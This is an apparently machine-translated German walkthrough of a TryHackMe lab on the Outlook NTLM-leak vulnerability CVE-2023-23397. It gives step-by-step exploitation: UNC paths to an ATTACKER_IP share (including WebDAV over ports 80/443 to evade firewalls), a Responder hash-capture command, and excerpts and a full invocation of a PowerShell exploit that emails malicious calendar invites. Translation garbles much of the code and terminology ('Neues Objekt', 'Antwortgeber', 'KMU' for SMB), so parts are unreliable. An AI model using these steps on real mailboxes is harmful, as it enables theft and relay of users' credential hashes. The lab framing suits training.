Wir haben die aktuelle Microsoft Outlook NTLM-Sicherheitslücke CVE-2023-23397 behandelt, die bei Erfolg zu einem NTLM-Hash-Leck führen könnte. Außerdem haben wir neben der Schadensbegrenzung und Erkennung ein Demo-Szenario behandelt. Dies war Teil von TryHackMe Outlook NTLM-Leck.
Am Dienstag, dem 14. März, veröffentlichte Microsoft am Patch Tuesday 83 Sicherheitsfixes, darunter CVE-2023-23397. Diese kritische Sicherheitslücke betrifft alle Versionen der Outlook-Desktop-App auf jedem Windows-System. Outlook Web App (OWA) und Microsoft 365 sind nicht anfällig, da sie nicht unterstützen NTLM Authentifizierung.
Anders als die meisten Exploits ist dieser besonders gefährlich, da es sich um einen Zero-Click-Exploit handelt, d. h., es ist keine Benutzerinteraktion erforderlich, um ihn auszulösen. Sobald eine infizierte E-Mail im Posteingang des Benutzers eintrifft, kann der Angreifer vertrauliche Net-NTLMv2-Anmeldedaten-Hashes abrufen. Sobald böswillige Akteure über diese Hashes verfügen, können sie die Anmeldedaten eines Benutzers abrufen, sich bei dessen System authentifizieren und Berechtigungen erhöhen.
Um diese Sicherheitslücke auszunutzen, muss ein Angreifer eine bösartige Kalendereinladung erstellen, die einen Verweis auf eine Audiodatei enthält, die auf eine Datei in einer Netzwerkfreigabe auf dem Computer des Angreifers verweist. Auf niedriger Ebene speichert eine Outlook-E-Mail den Verweis auf die Audiodatei in einem internen Parameter namens PidLidReminderFileParameter. Um sicherzustellen, dass das Audio, das wir in unsere bösartige E-Mail einbetten, Vorrang vor den Standarderinnerungskonfigurationen des Opfers hat, müssen wir außerdem einen weiteren Parameter namens PidLidReminderOverride Zu WAHR
.
Zum Einrichten der PidLidReminderFileParameter Eigenschaft, die auf eine Netzwerkfreigabe verweist, kann der Angreifer eine Universal Naming Convention (UNC) Pfad anstelle einer lokalen Datei. UNC wird in Windows-Betriebssystemen verwendet, um Netzwerkressourcen (Dateien, Drucker, freigegebene Dokumente) zu finden. Diese Pfade bestehen aus einem doppelten Backslash, der IP-Adresse oder dem Namen des Computers, auf dem die Ressource gehostet wird, dem Freigabenamen und dem Dateinamen. Beispiel:
\\ATTACKER_IP\foo\bar.wav
Wenn das Opfer die bösartige E-Mail erhält, leitet der UNC-Pfad es zu dem KMU share, wodurch die Sicherheitslücke ausgelöst wird. Dies führt dazu, dass das System einen NTLM-Authentifizierungsprozess gegenüber dem Computer des Angreifers startet, wodurch ein Net-NTLMv2-Hash preisgegeben wird, den der Angreifer später zu knacken versuchen kann.
Wenn aus irgendeinem Grund die KMU Protokoll ist keine praktikable Alternative, aber Nicht-Server-Versionen von Windows akzeptieren die Verwendung von UNC-Pfaden, die auf die Ports 80 oder 443 verweisen, und verwenden HTTP, um die Datei von einem WebDAV-fähigen Webserver abzurufen. Die Syntax eines solchen UNC-Pfades lautet wie folgt:
\\ATTACKER_IP@80\foo\bar.wav
\\ATTACKER_IP@443\foo\bar.wav
Dies kann nützlich sein, um Firewall-Einschränkungen zu umgehen, die ausgehende Verbindungen zu Port 445 verhindern (KMU).
Einrichten des Responders
Da wir davon ausgehen, dass das Opfer einen Authentifizierungsversuch gegen den Angreifer auf Port 445 auslöst, werden wir Responder so einrichten, dass er den Authentifizierungsprozess durchführt und den NetNTLM-Hash für uns erfasst. Wenn Sie mit Responder nicht vertraut sind, emuliert es einfach einen KMU Server und erfassen Sie alle diesbezüglichen Authentifizierungsversuche.
Um den Responder zu starten und auf Authentifizierungsversuche in Ihrem ens5
Schnittstelle können Sie einfach den folgenden Befehl in Ihrer AttackBox ausführen:
root@angriffsbox$ Antwortgeber -I ens5
Wir sind jetzt bereit, einen Authentifizierungsversuch über die Outlook-Sicherheitslücke auszulösen.
Der Versuch, eine böswillige Ernennung zu arrangieren
Als ersten Versuch könnten wir manuell einen Termin erstellen und den Pfad zur Audiodatei der Erinnerung so bearbeiten, dass er auf einen freigegebenen Ordner verweist. Um einen Termin zu erstellen, müssen Sie zuerst auf den Kalender und dann auf die Schaltfläche Neuer Termin in der Taskleiste klicken.
Wir erstellen einen Termin, der eine Erinnerung enthält, die auf 0 Minuten eingestellt ist, sodass sie sofort ausgelöst wird, nachdem das Opfer sie erhalten hat. Wir klicken auch auf die Option Sound, um die Sounddatei der Erinnerung zu konfigurieren
Wir können versuchen, den Pfad der Sounddatei auf einen UNC-Pfad festzulegen, der auf unsere AttackBox verweist, und auf die Schaltfläche „OK“ klicken.
Outlook ignoriert jedoch stillschweigend den UNC-Pfad und verwendet wieder die Standard-WAV-Datei. Dies kann bestätigt werden, indem Sie zum Sound-Dialog zurückkehren.
Da Outlook hier nicht erwartet, dass Benutzer einen UNC-Pfad eingeben, verwirft es unseren Versuch wahrscheinlich als ungültige Ausgabe. Aber es ist nicht alle Hoffnung verloren!
OutlookSpy zur Rettung
Auch wenn Outlook die Sounddatei der Erinnerung nicht auf einen UNC-Pfad setzen kann, können wir das mit dem OutlookSpy-Plugin erreichen. Mit diesem Plugin können Sie direkt auf alle internen Parameter von Outlook zugreifen, einschließlich der Sounddatei der Erinnerung.
Sie finden das Installationsprogramm von OutlookSpy auf dem Desktop Ihres Computers. Sie müssen es manuell installieren, bevor Sie fortfahren. Schließen Sie Outlook unbedingt, bevor Sie das Installationsprogramm ausführen.
Um unseren aktuellen Termin von OutlookSpy anzuzeigen, klicken Sie auf das OutlookSpy
und dann die Aktueller Gegenstand
Schaltfläche in der Taskleiste:
Hinweis: Denken Sie daran, innerhalb des Termins auf die Schaltfläche „CurrentItem“ zu klicken. Andernfalls ändern Sie möglicherweise verschiedene Outlook-Komponenten.
In diesem Fenster können Sie die Parameter sehen, die mit der Erinnerung an den Termin verknüpft sind. Wir möchten die ErinnerungSoundFile Parameter auf den UNC-Pfad, der auf unsere AttackBox zeigt, und setzen Sie sowohl den ErinnerungOverrideDefault Und ErinnerungWiedergebenTon Zu WAHR
Nur als Referenz, hier ist, was jeder Parameter bewirkt:
- ErinnerungsWiedergabeTon: Boolescher Wert, der angibt, ob mit der Erinnerung ein Ton abgespielt wird.
- ErinnerungOverrideDefault: Boolescher Wert, der den empfangenden Outlook-Client angibt, der den von ErinnerungSoundFile, anstelle der Standardeinstellung.
- ErinnerungSoundFile: Zeichenfolge mit dem Pfad zur zu verwendenden Sounddatei. Für unseren Exploit verweist dies auf einen gefälschten freigegebenen Ordner in unserer AttackBox.
Wir können die Registerkarte „Skript“ und das folgende Skript verwenden, um die Parameter auf die erforderlichen Werte zu ändern
Klicken Sie unbedingt auf das Laufen
, damit die Änderungen übernommen werden. Sie können zurück zur Eigenschaften
Registerkarte, um zu überprüfen, ob die Werte korrekt geändert wurden. Speichern Sie abschließend Ihren Termin, um ihn Ihrem Kalender hinzuzufügen. Stellen Sie dabei sicher, dass die Erinnerung auf 0 Minuten eingestellt ist und dass der Termin mit der aktuellen Uhrzeit und dem aktuellen Datum übereinstimmt, da er sofort ausgelöst werden soll.
Wenn alles wie erwartet gelaufen ist, sollte sofort eine Erinnerung auftauchen
Und Sie sollten den Authentifizierungsversuch in Ihrer Responder-Konsole auf Ihrer AttackBox erhalten
Ausbeutung
Zusammenfassend lässt sich sagen, dass ein Angreifer zum Ausnutzen dieser Sicherheitsanfälligkeit folgende Schritte ausführen muss:
- Erstellen Sie ein böswilliges Meeting/einen böswilligen Termin mit einem benutzerdefinierten Erinnerungston, der auf einen UNC-Pfad auf dem Computer des Angreifers verweist.
- Senden Sie dem Opfer die Einladung per E-Mail.
- Warten Sie auf die Erinnerung, um eine Verbindung zum Computer des Angreifers herzustellen.
- Erfassen Sie den Net-NTLMv2-Hash, verwenden Sie die Authentifizierungsweiterleitung oder profitieren Sie auf andere Weise.
Die Schritte 3 und 4 sind für uns bereits abgedeckt durch Antwortender
, aber die Erstellung eines bösartigen Termins von Hand ist etwas mühsam. Glücklicherweise stehen uns einige Exploits zur Verfügung, mit denen wir einen bösartigen Termin erstellen und versenden können.
In dieser Aufgabe werden wir uns den Exploit ansehen, der veröffentlicht wurde von Oddvar Moe, das wahrscheinlich am einfachsten zu verstehen und zu verwenden ist. Dieser Powershell-Exploit nutzt die COM-Objekte von Outlook, um E-Mails und Termine einfach zu erstellen. Es enthält einige Funktionen, die wir verwenden können:
- Kalender speichernNTLMLeak: Diese Funktion erstellt einen bösartigen Termin und speichert ihn in Ihrem eigenen Kalender. Nützlich für Testzwecke.
- Send-CalendarNTLMLeak: Diese Funktion erstellt einen bösartigen Termin und sendet ihn per E-Mail an ein Opfer. Die E-Mail-Einladung wird vom aktuellen Standardkonto Ihres Outlooks gesendet.
Analyse des Exploit-Codes
Beide erstellen einen Termin auf ähnliche Weise, daher erklären wir die Kalender speichernNTLMLeak nur.
Zuerst instanziieren wir ein „Outlook.Application“-Objekt und erstellen einen Termin.
$Ausblick = Neues Objekt -comObject Outlook.Anwendung
$neukal = $Ausblick.ErstelleElement(„olTerminelement“)
Dabei werden die üblichen Parameter eines Termins festgelegt. Dazu gehören Empfänger, Betreff der Besprechung, Ort, Text und Start- und Enddatum. Der Exploit setzt den Starttag auf die aktuelle Uhrzeit, sodass die Erinnerung sofort ausgelöst wird:
$neukal.Empfänger.hinzufügen($-Empfänger)
$neukal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olTreffen
$neukal.Betreff = $Betreff der Sitzung
$neukal.Standort = "Virtuell"
$neukal.Körper = $Treffenkörper
$neukal.Start = Verabredung bekommen
$neukal.Ende = (Verabredung bekommen).Stunden hinzufügen(2)
Die folgenden zusätzlichen Parameter werden konfiguriert, um die Sounddatei der Erinnerung auf den Server des Angreifers zu verweisen, wie zuvor erläutert:
$neukal.ErinnerungSoundFile = $remotefilepath
$neukal.ReminderOverrideDefault = 1
$neukal.ErinnerungsSet = 1
$neukal.ErinnerungsPlaysound = 1
Abschließend wird der Termin per E-Mail an den Empfänger übermittelt:
$neukal.schicken()
Verwenden des Exploits
Die Funktionen des Exploits könnt ihr mit dem Cmdlet Import-Module importieren. Danach stehen euch beide Funktionen in eurer aktuellen Powershell zur Verfügung. Um eine E-Mail mit einem bösartigen Termin zu versenden, könnt ihr einfach den folgenden Befehl ausführen:
PS C:\> cd C:\Benutzer\Administrator\Desktop\ PS C:\Benutzer\Administrator\Desktop\> Import-Modul .\CVE-2023-23397.ps1 PS C:\Benutzer\Administrator\Desktop\> Send-CalendarNTLMLeak -recipient "test@thm.loc" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "THM-Meeting" -meetingbody "Dies ist nur eine normale Meeting-Einladung :)"
Ersetzen Sie unbedingt ATTACKER_IP durch die IP-Adresse Ihrer AttackBox im -remotefilepath
Parameter. Beachten Sie, dass Sie in diesem Fall den Exploit verwenden, um sich selbst eine E-Mail zu senden, da wir nur ein einzelnes Konto auf dem Computer haben, aber normalerweise würden Sie andere E-Mail-Adressen anvisieren.
Da der Exploit die aktuelle Outlook-Instanz zum Senden der E-Mail nutzt, werden Sie wahrscheinlich einige Warnmeldungen erhalten, in denen Sie aufgefordert werden, dem Skript die Berechtigung zum Senden von E-Mails in Ihrem Namen zu erteilen. Denken Sie daran, so oft wie nötig auf „Zulassen“ zu klicken. Das Aktivieren des Kontrollkästchens „Zugriff für 10 Minuten zulassen“ sollte diesen Vorgang ebenfalls beschleunigen.
Video-Komplettlösung